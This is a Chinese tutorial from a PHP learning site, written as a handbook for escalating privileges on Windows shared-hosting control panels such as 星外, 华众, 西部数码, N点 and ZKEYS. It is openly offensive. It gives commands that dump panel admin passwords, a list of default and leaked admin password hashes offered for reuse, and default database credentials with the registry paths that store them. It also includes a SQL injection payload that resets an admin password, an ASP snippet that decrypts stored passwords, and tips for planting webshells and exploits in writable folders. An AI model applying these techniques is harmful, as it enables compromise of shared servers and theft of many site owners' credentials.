网站地图    收藏   

主页 > 后端 > 网站安全 >

windows虚拟主机提权手册 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] 目前国内大部分网站的现状是建立在各大虚拟主机系统上,独立服务器的站点是越来越少。所以一旦获取主机的最高权限就能掌握大量的站点,而且虚拟主机又是那么变态,提权基本很...

目前国内大部分网站的现状是建立在各大虚拟主机系统上,独立服务器的站点是越来越少。
所以一旦获取主机的最高权限就能掌握大量的站点,而且虚拟主机又是那么变态,提权基本很难。于是本菜本着授人与鱼不如授人与渔为大家总结,并分享给大家。
0x00 前言
  0x01什么是虚拟主机
  0x02神马是安全模式
  0x03关于虚拟主机提权的一些话
0x10 星外主机提权
  0x11如何识别星外
  0x12常规星外提权
  0x13星外可读可写
  0x14其他思路星外提权
0x20华众虚拟主机提权
  0x21如何识别华众主机
  0x22敏感目录及注册表
  0x23一些技巧和经验
0x30西部数码提权
  0x31如何识别西部数码
  0x32存放敏感信息位置
  0x33一些经验
0x40 N点虚拟主机提权
  0x41识别N点虚拟主机
  0x42常规提权N点虚拟主机
  0x43相关资料
0x50其他常见虚拟主机提权
  0x51新网虚拟主机
  0x52 ZKEYS虚拟主机
  0x53其他不知名虚拟主机
 
0x00 前言
 
0x01什么是虚拟主机
 
  
  记得当初才开始玩渗透的时候,很多牛牛就在群里说道“又提一个虚拟主机”。很好奇呀,什么是虚拟主机。这里介绍介绍。百科的解释是每个“主机”都有独立的域名,独立的IP,就是我们所说的“空间”。而我们所常常见到的是虚拟主机上每个主机拥有独立域名。总的来说,在一台服务器上存在多个域名就叫做虚拟主机(这样解释就有点牵强)。常见的虚拟主机管理系统就是目录中的那些~~~
 
0x02什么是安全模式
  安全模式是虚拟机管理系统一种常见的管理模式,其原理就是利用windows下的一些设置,控制权限。 
  安全模式如何判断?一般虚拟主机都是支持aspx的,但是aspx马的功能在安全模式下是不能完全发挥的。我们来看看安全模式下的配置:
  
  要做设置的web.config文件存在于:
  C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\CONFIG\中其中关键部分默认不修改是这样的
 
 
​请注意trust level=”Full”  :Full即是完全权限,是系统默认设置,没有任何限制的权限,可执行aspx大马,功能没有限制。可使用aspx一句话连接。
Medium,权限配置为中,国内大部分虚拟主机是这样配置的,IIS中的应用程序配置中存在aspx映射,但无法执行任何aspx代码,这样就彻底的断绝了aspx代码的执行。High,代码访问权限为高,此时可以执行aspx大马,但功能遭到限制,无法执行命令、查看注册表、系统进程、系统服务 和使用IISSPY,一但执行以上操作,错误页面。
所以安全模式下的判断一般是通过aspx马来判断,一般是无法使用iisspy,无法使用aspxcmd,

 

<securityPolicy>

<trustLevel name="Full" policyFile="internal" />

<trustLevel name="High" policyFile="web_hightrust.config" />

<trustLevel name="Medium" policyFile="web_mediumtrust.config" />

<trustLevel name="Low" policyFile="web_lowtrust.config" />

<trustLevel name="Minimal" policyFile="web_minimaltrust.config" />

</securityPolicy>

<trust level="Full" originUrl="" />

 

无法读取注册表,也通常无法连接一句话、、、、很多变态的设置。
 

这里看一张使用iisspy出现错误页面的图片:
\
更多关于执行aspx Webshell时出现的错误信息原理详解
安全模式大部分是存在于星外主机上,其他主机出现较少~~~
 
0x03关于虚拟主机提权的一些话 www.2cto.com
  虚拟主机提权一般是比较蛋疼的,但是并不是提不下来,虽然我们木有0day,但是收集信息终究可能找到突破口。
  还有就是很多机油让我帮忙提权时,就说这个服务器不支持aspx,其实服务器是支持aspx的。很多虚拟主机的网站容器的设置一般就是asp和php一般是同时支持,aspx站点一般是单独一个网站容器。所以就一定要拿下一个aspxshell,怎么找同服务器支持aspx的站点?我原来其实也说过,方法是利用bing搜索:ip:服务器ip  aspx
如图:
\
0x10 星外主机提权
 
0x11如何识别星外
 
识别星外主机,一般通过以下几个来识别:
网站目录识别,一般目录中存咋freehost的基本都是星外
D:\freehost\xxxxx\
Phpinfo识别新建一个php:<?php phpinfo()?>打开后如下:
\
还有就是安装目录识别:
C:\Program Files\
C:\Documents and Settings\All Users\「开始」菜单\程序
这两个目录有明显的星外安装信息:
\
0x12常规星外提权
 
   大多数情况下各种本地提权exp一般是无果的。常规的星外的提权是利用星外使用自带的ftp和默认一个freehostrunat用户(administrators组),所以一旦知道该用户密码就可以顺利登录了。
   首先找到可读可写目录或者文件,上传cmd和利用法客工具包中的星外读IIS.exe
 
C:\Program Files\iiszj.com\log\> iis.exe -i
FreeHost ID:724
C:\Program Files\iiszj.com\log\> iis.exe -u 724
UserName:freehostrunat
Password: fa41328538d7be36e83ae91a78a1b16f!
 
如图:
\
常规提权就是如此。
 
0x13星外可读可写
 
由上面可以知道,非安全模式的星外一旦找到可读可写基本上是秒杀。
C:\Documents and Settings\All Users\Application Data\Microsoft\Media Index\
C:\php\PEAR\
C:\Program Files\Zend\ZendOptimizer-3.3.0\ 
C:\Program Files\Common Files\
C:\7i24.com\iissafe\log\ 
C:\RECYCLER\
C:\windows\temp\
c:\Program Files\Microsoft SQL Server\90\Shared\ErrorDumps\
e:\recycler\
f:\recycler\
C:\Program Files\Symantec AntiVirus\SAVRT\
C:\WINDOWS\7i24.com\FreeHost
C:\php\dev
C:\~1\
C:\System Volume Information 
C:\Program Files\Zend\ZendOptimizer-3.3.0\docs
C:\Documents and Settings\All Users\DRM\
C:\Documents and Settings\All Users\Application Data\McAfee\DesktopProtection
C:\Documents and Settings\All Users\Application Data\360safe\softmgr\
C:\Program Files\Zend\ZendOptimizer-3.3.0\lib\Optimizer-3.3.0\php-5.2.x\ZendOptimizer.dll 
C:\7i24.com\LinkGate\log 
C:\7i24.com\serverdoctor\log\
C:\WINDOWS\Temp\
c:\Documents and Settings\All Users\Application Data\Hagel Technologies\DU Meter\log.csv
c:\Program Files\360\360Safe\deepscan\Section\mutex.db
c:\Program Files\Helicon\ISAPI_Rewrite3\error.log
c:\Program Files\Helicon\ISAPI_Rewrite3\Rewrite.log 
c:\Program Files\Helicon\ISAPI_Rewrite3\httpd.conf 
c:\Program Files\Common Files\Symantec Shared\Persist.bak 
c:\Program Files\Common Files\Symantec Shared\Validate.dat 
c:\Program Files\Common Files\Symantec Shared\Validate.dat 
c:\windows\hchiblis.ibl 
C:\Program Files\Thunder Network\Thunder7\
C:\Program Files\Thunder Network\Thunder\
c:\windows\DriverPacks\C\AM2
C:\Program Files\FlashFXP\
 
红色部分是我常用的一些目录和一些log文件,这些文件并不一定要硬搬,一般是寻找log文件!!
 
上面的可读可写目录同样适用其他虚拟主机。
 
0x14其他思路星外提权
 
思路一:
但是事与愿违的是目前大部分虚拟主机基本都是安全模式~~~
如何突破?一般是只有通过第三方软件提权,常见的mssql,mysql和Navicat,如何找到mssql和mysql密码,所以收集信息就十分重要。
HKEY_LOCAL_MACHINE\SYSTEM\LIWEIWENSOFT\INSTALLFREEADMIN\11
星外存储mssql密码位置,解密后一般是无法连接,但是去可以用来社工。经常碰见sa密码和root密码相同,当然也可以试试直接用3389登录下。
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\MSFtpsvc\Parameters\Virtual Roots\ControlSet002
星外存贮ftp密码的位置。同样是用来收集信息。
navicat管理的MySQL服务器信息(一般是root帐户)是存在注册表里的,具体是:
HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers
导出注册表导入到本机然后星号察看就OK了。
还有就是:
navicat会把操作日志(比如加账户)保存到My Documents\Navicat\MySQL\logs下的LogHistory.txt,低版本是安装目录下的logs下LogHistory.txt
详细的收集信息,请看文章:windows提权中敏感目录和敏感注册表的利用
 
思路二:
这里搜集了一些星外freehostrunat的一些密码:
fa41328538d7be36e83ae91a78a1b16f!7    默认密码
991b95d33a17713068403079d4fe40a4!7
83e0843d0091c43c4837bea224ebf197!7
7b41043919eec81c59f9eb95ac3bc456!7
4d91105ff31261b8a75a06c30002b09d!7
41328538d7be36e83ae91a78a1b16f!7
a0539224259d2494cde874f88fe86bff!7
5720969b84e8749764b39fa567331d80!7
a87997782e814aebb69b2cded123d642!7
fad7be36e83ae91a78a1b16f!7
be36e83ae91a78a1b16f!7
至于用来干什么,我想你会懂,反正我是这样成功过~~~
 
新思路三:
当找可读可写的目录 有时候找到了可读可写的目录也不一定能执行。也是提示无权限 再说服务器虽然没有了360,但是还有麦咖啡跟一流监控呢,很多东西都无法上传。
未加入过滤行列的程序直接删了都。 大家都知道,在C:\Program Files的文件夹有一个winrar的目录文件夹。
先用aspx大马试探下rar能否执行。
命令是:C:\Program Files\Winrar\rar.exe或unrar.exe 如果能够正被执行的说明还是有希望的。
在本地创建一个rar的压缩包。包含星外exp、cmd。上传到网站的根目录。接着就是查找可写目录了。到了这里有的人可能会说。找到了可写目录不就可执行了吗。但有的情况可能你没有遇到过,明明提示上传成功了的,却找不到了,有时会在执行的时会还是提示没有权限。接着在aspx上执行rar.exe。释放文件 例如:x d:\freehost\wwwroot\xx.rar C:\Documents and Settings\All Users\Application Data\Microsoft\Media Index
\
这样rar的文件就被释放到了media index的目录里。因为是在服务器上执行的。很多杀软不监控。
接着就到aspx那执行去了。顺利拿到密码。
 
新思路四:
找到星外管理网站:
一般是这些:
C:\freehostmain\    C:\freehostmain1\
D: \freehostmain\    D:\freehostmain1\
、、、、、
然后尝试跳转或者拿下这个管理端,FreeHostMain 文件夹(默认是FreeHostMain),找到Global.asa文件,打开之后会看见如下代码:
<SCRIPT LANGUAGE=VBScript RUNAT=Server> Sub Application_OnStart SQLPassword="abcd1234"'为了安全,请修改数据库的登陆密码为您自己的密码,这个密码可以在SQL2000企业管理器--安全性--登陆--FreeHost用户属性中设置。
如图:
\
这就是星外的数据库管理密码,默认账号=FreeHost,密码=abcd1234,然后用查询分析器连接。数据库中有大量的信息~~~神马sa,root,ftp等密码都有~~
\
serverlist 为虚拟主机服务器列表
serversqllist 为数据库服务器列表
serverVPSlist 为VPS被控列表
\
servernam 为主机名称site 为站点softtype 为数据库类型IP 为IPadmpass 为数据库密码
这里数据库密码可以找到所有服务器的sa和root密码,而且还是明文的!找到了就可以通过sa恢复组件进行提权了。
接下来继续找表 FreeHost_Admuser,这个是星外的后台管理表段,密码是 md5 加密。
\
通过nmap进行扫描端口,找到http端口进行尝试打开,默认后台是adm
http://123.123.123.123:80/adm
当然你在后台也可以找到很多信息~~~
 
小技巧:
 
当可读可写目录存在空格的时候:
会出现这样的情况:
'C:\Documents' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
解决办法是利用菜刀的交互shell切换到exp路径,如:
Cd C:\Documents and Settings\All Users\Application Data\Microsoft 目录
然后再执行exp或者cmd,就不会存在上面的情况了,aspshell一般是无法跳转目录的~~
看图:
\
0x20华众虚拟主机提权
 
0x21如何识别华众主机
 
和星外识别差不多的方法,一般情况从目录就可以看出:
绝大部分情况是D:\hzhost\
还有就是这种:e:\wwwroot\longzhihu\wwwroot\
其他的判断方法就是看安装目录
C:\Program Files\
C:\Documents and Settings\All Users\「开始」菜单\程序
 
 
0x22敏感目录及注册表
  就经验来说,一般是的溢出提权对虚拟主机是无果的,而且华众又没有星外那么明显的漏洞
  所以华众提权关键之处就是搜集信息!!!
主要注册表位置:
HKEY_LOCAL_MACHINE\SOFTWARE\HZHOST\CONFIG\
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\mysqlpass     root密码
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\mssqlpss       sa密码
HKEY_LOCAL_MACHINE\software\hzhost\config\Settings\mastersvrpass    
你会发现他是用的自己的加密方法,然后利用华众0day破解sa和root密码
工具下载插我把!!
但是现在有些破解不错来,就得登录管理后台进行密码还原。虚拟主机管理目录
D:\hzhost\hzhost_master\
一般来说是拿得到shell的。
 
然后利用和sa进行提权就不详解了,具体请参考法克论坛提权文集
插我下载!!!
 
详细的收集信息,请看文章:windows提权中敏感目录和敏感注册表的利用
 
主要敏感目录:
c:\windows\temp下有hzhost主机留下的ftp登陆记录。有用户名和密码
D:\hzhost\hzhost_master\    虚拟主机管理网站,数据库同样存在sa和root密码
 
0x23一些技巧和经验
 
经验+技巧一:
在华众主机当中有很大部分的mysql用户可以跨库到mysql这个库。
在mysql这个库中有root的密码,所以当遇到华众主机的时候,如果主站是php架构的,就找下配置文件,连接上数据库,查看mysql中的中root密码。
 
经验+技巧二:
曲线提权,先拿下HZHOST域名虚拟主机管理系统!!!
首先通过旁站查询和nmap端口扫描确定管理系统登录界面。
HZHOST域名虚拟主机管理系统6.5及其以前版本都存在登录框注入。
这里简单介绍下,原文请点击:HZHOST域名虚拟主机管理系统sql注射漏洞+进一步利用
\
\
存在注入:
123' UPDATE [memlst] SET u_pss='e10adc3949ba59abbe56e057f20f883e' WHERE u_nme='admin'--
这一句是把用户admin的密码修改为123456。管理员的后台地址一般是http://www.xx.com/master或者直接在首页登陆了按切换到管理员后台。
 
登录管理后台后,可以通过数据库操作拿shell
 
拿到shell同样利用sa和root密码进行提权。
 
 
0x30西部数码提权
 
0x31如何识别西部数码
一般是从安装目录就可以确定,安装目录d:\SOFT_PHP_PACKAGE\
网站目录没有明显特点
还有就是通过
C:\Documents and Settings\All Users\「开始」菜单\程序
这个目录进行确认。
 
0x32存放敏感信息位置
虚拟主机默认软件安装路径:d:\SOFT_PHP_PACKAGE\
在该目录下:
setup.ini                          配置文件中记录着mysql root 密码
site.xml                           记录着网站配置信息(3.0以前)
3.0版本现在集成到了access数据库中 也是存放在 默认安装路径下的iistool.dat 文件中 用户权限也是 users组可读 这样我们就可以利用webshell获取到各种信息了哈哈(这个其实是一个access数据库文件 他的连接密码为:wwwcn )
 
 
0x33一些经验
经验一、
西部数码虚拟主机安装后默认s-u的LocalAdministrator用户密码为root3306
mysql 的root密码在安装过程中会提示是否修改 默认也是为root3306 或者 123456
经验二、
该虚拟主机一般是未删除Wscript.Shell组建的,所以可以在asp马下进行执行命令,可读可写请参考星外主机提权这节。
 
西部数码的资料相对较少,但是该虚拟主机的权限一般设置不会太死。提权还有很大的发挥。
希望机油们多多研究发掘漏洞~~~
 
 
0x40 N点虚拟主机提权
 
0x41识别N点虚拟主机
在下面两个目录中常有npointsoft这样的目录。
C:\Program Files\
C:\Documents and Settings\All Users\「开始」菜单\程序
 
在用户组信息当中有这样一栏:
\
0x42常规提权N点虚拟主机
 
N点虚拟主机管理系统一般位于
C:/Program Files/
这个目录中,你可以细心寻找。跳转到根目录,下载了数据库文件。
默认数据库路径
host_date/%23host%20%23%20date%23.mdb
 
找到了root的密码,不过是加密,想到N点加密的破解
 
N点虚拟主机加密方式是他自定义的函数,封装到了DLL里面,你在N点主机管理系统的目录新建一个ASP文件内容如下
 
<!--#include file="inc/conn.asp"-->
<!--#include file="inc/siteinfo.asp"-->
<!--#include file="inc/char.asp"-->
<%
set iishost=server.CreateObject("npoint.host")
x=iishost.Eduserpassword("NLFPK@OJCOCLA@E@FEKJMFADLALKLF@JHOIMAHO@LCDBAAMEOEKGKM@A",0)
response.write x
%>
 
把里面的NLFPK@OJCOCLA@E@FEKJMFADLALKLF@JHOIMAHO@LCDBAAMEOEKGKM@A换成你得到的HASH,访问这个ASP文件就可以爆出来。如图:
\
如果那个目录没有写权限,你可以在本地自己搭建一个N点虚拟主机系统,然后把这个文件写到管理目录下面就可以了
另外,MYSQL,MSSQL和FTP密码都以这种形式加密,同样的可以进行解密。
 
 
0x43相关资料
 
资料一、
 一般n点虚拟主机是可以aspx的iisspy,可以直接找到n点虚拟主机管理系统的网站根目录。同样也可以查看系统信息,用户信息等
 
资料二、
  一般n点虚拟主机会备份mysql目录,一般在D盘根目录,一般是有可读权限的,可以访问下载user文件进行破解root密码。
 
资料三、通常情况下,有n点主机就有phpmyadmin,可以通过phpmyadmin的相关漏洞进行渗透提权获取root密码等。
 
 
 
0x50其他常见虚拟主机提权
 
0x51新网虚拟主机
新网虚拟主机识别一般是通过网站目录识别:
D:virtualhost\xxx\www
目前新网虚拟主机多出现在windows2008+iis7上,win2003上现在越来越少,win2003的情况,一般通过找root和sa密码提权,配置不严格时用溢出都可以提权。
 
估计后面的主流就是新网+win2008+iis7
这里就要介绍appcmd
 
appcmd list site
列出站点及其id号
 
第二个命令:
appcmd list config
列出所有网站配置信息,如果是在iis7上配置的ftp,则还会列出网站ftp用户及密码
 
第三条命令:
appcmd list vdir
该条命令可以列出id号和所有站点的目录
 
通过上述命令可以跨到其他网站目录搜集信息~~~
关于跨目录的介绍:详谈如何找到目标站目录
 
0x52 ZKEYS虚拟主机
敏感目录及信息
 
注册表位置:
HKEY_LOCAL_MACHINE\SOFTWARE\ZKEYS
一般都在硬盘的根目录
 
敏感目录:
打开*\ZKEYS\Setup.ini
1.[Mysql] (MYSQL设置)  
2.root=aaa (管理员帐号)  
3.RootPass=123 (管理员密码)  
4.[Mssql] (MSSQL设置)  
5.DbPath=d:\MSSQL\Data (MSQL数据库存放路径)  
6.SA=aaa (管理眼帐号)  
7.SaPass=123 (管理员密码)  
Guid=www.chouwazi.com |XXXXXX 主机系统的 IP 授权 和 密码,下面就是看出比较鸡肋了。
要记住mysql是在mysql_zkeys MySqlUserBySH安全账户下运行的mysql_zkeys是属于guest组权限的,MySqlUserBySH属于users组,而 mssql 就更悲剧了 安全配置很牛叉。
不过值得庆贺的一点,国内的网管都喜欢通用密码,一般拿到 root 密码 社到管理的账号
phpmyadmin 在 127.0.0.1:999 端口,必要的时候可以尝试。
 
其他:
找找有木有winwebmail ,这个东西有的 zkeys 装了,有的没装,如果找到这东西直接去他目录写个 shell,权限就比之前大了,exp 也能提了。
默认目录 d:\winwebmail\web\ 
只要有这东西就好办,可以写 lpk,或者替换里面的 exe 啥的都行。
 
 
0x53其他不知名虚拟主机
 
还有存在的虚拟主机就是:
万网虚拟主机
Prim@Hosting虚拟主机
还有各种星外分支~~~
 
虚拟主机提权遵循的原则是尽可能的搜集信息,一般是从注册表,虚拟主机管理系统的数据库,敏感目录,备份文件,日志信息等中搜集!!!
 
还有一个要提到的是,并不是每个虚拟主机都能提权,或者说并不是每个虚拟主机都要提权。
如果你有目标站,大可不必第一选择提权,可以首先找到目标在目录,通过一些手段获得目标站的shell或者数据库信息等,直到拿到目标在权限~~~
 
随着提权手段日益更新,方法也会越来越多,希望大家多多收集,收入囊中

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论